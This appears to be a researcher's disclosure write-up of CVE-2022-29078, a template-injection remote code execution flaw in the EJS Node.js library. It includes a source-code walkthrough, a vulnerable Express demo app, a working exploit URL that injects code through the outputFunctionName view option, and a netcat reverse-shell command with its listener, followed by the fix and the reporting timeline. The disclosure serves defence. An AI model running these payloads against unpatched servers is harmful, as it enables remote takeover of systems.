Note: The objective of this research or any similar researches is to improve the nodejs ecosystem security level.

Recently i was working on a related project using one of the most popular Nodejs templating engines Embedded JavaScript templates - EJS

In my weekend i started to have a look around to see if the library is vulnerable to server side template injection. Since the library is open source we can have a whitebox approach and look at the source code.

you can use a debugger to put several breakpoint to understand the code flow quicky. Or at least you can do a print (or console.log) to see what functions is called and what is the variables values

The analysis

I noticed an interesting thing in the render function

exports.render = function (template, d, o) {
  var data = d || {};
  var opts = o || {};

  // No options object -- if there are optiony names
  // in the data, copy them to options
  if (arguments.length == 2) {
    utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
  }

  return handleCache(opts, template)(data);
};

libs/ejs.js:413

The data and options is merged together through this function utils.shallowCopyFromList So in theory we can overwrite the template options with the data (coming from user)

A look into the function shows it has some restrictions

exports.shallowCopyFromList = function (to, from, list) {
  for (var i = 0; i < list.length; i++) {
    var p = list[i];
    if (typeof from[p] != 'undefined') {
      to[p] = from[p];
    }
  }
  return to;
};

libs/utils.js:135

It only copies the data if it’s in the passed list defined

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];

OK, its time to have a proof of concept and lets try this options to see what impact we can make

// index.js
const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

app.get('/page', (req,res) => {
    res.render('page', req.query);
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
// page.ejs
<h1> You are viewing page number <%= id %></h1>

Now if we lunched this application and send this request for example

http://localhost:3000/page?id=2&debug=true

This will ends up enabling ejs debug mode. But there is not much impact because if there is no errors nothing will show 🤷

OK, lets try something else. What about the delimiter

http://localhost:3000/?delimiter=NotExistsDelimiter

ok, This is interesting because it will disclose the template because the delimiter is not exists.

One more thing i tried here is to try to exploit to to have a reDos attack. Because this delimiter is added to regex and this regex is executed against the template contents.

createRegex: function () {
    var str = _REGEX_STRING;
    var delim = utils.escapeRegExpChars(this.opts.delimiter);
    var open = utils.escapeRegExpChars(this.opts.openDelimiter);
    var close = utils.escapeRegExpChars(this.opts.closeDelimiter);
    str = str.replace(/%/g, delim)
      .replace(/</g, open)
      .replace(/>/g, close);
    return new RegExp(str);
  }

libs/ejs.js:558

So if we added a delimiter xx the regex will be like this

(<xxxx|xxxx>|<xx=|<xx-|<xx_|<xx#|<xx|xx>|-xx>|_xx>)

But the problem as you see above that it’s well escaped utils.escapeRegExpChars so we can’t actually put any regex reserved characters (*,$, [] ..etc) so basically we can’t do somethig catastrophic here.

OK, thats boring. What will be really exciting is to find RCE

The RCE exploit 🔥🔥

I spent sometime looking around till i find this interesting lines in the renderFile function.

// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
    utils.shallowCopy(opts, viewOpts);
}

libs/ejs.js:471

Interesing, so in the case of express view options ejs will copy everything into the options without restrictions 🎉

Bingo, now what we need is just to find option included in the template body without escaping

prepended +=
    '  var __output = "";\n' +
    '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

so if we injected code in the outputFunctionName option it will included in the source code.

Payload like this x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s

it will be added to the template compiled code

var x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s= __append;

and our code will be excuted successfully

So lets try a reverse shell

first lets run netcat on our maching

nc -lnvp 1337

and lets inject some code

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

And here we go 🔥

SSTI RCE in EJS

Fix & Mitigation

Ejs already issued a fix to prevent injecting any code in the options especially opts.outputFunctionName

and they released v3.1.7

Timeline

  • 10 Apr 2022: Reported to vendor
  • 12 Apr 2022: CVE number assigned (CVE-2022-29078)
  • 20 Apr 2022: Fix released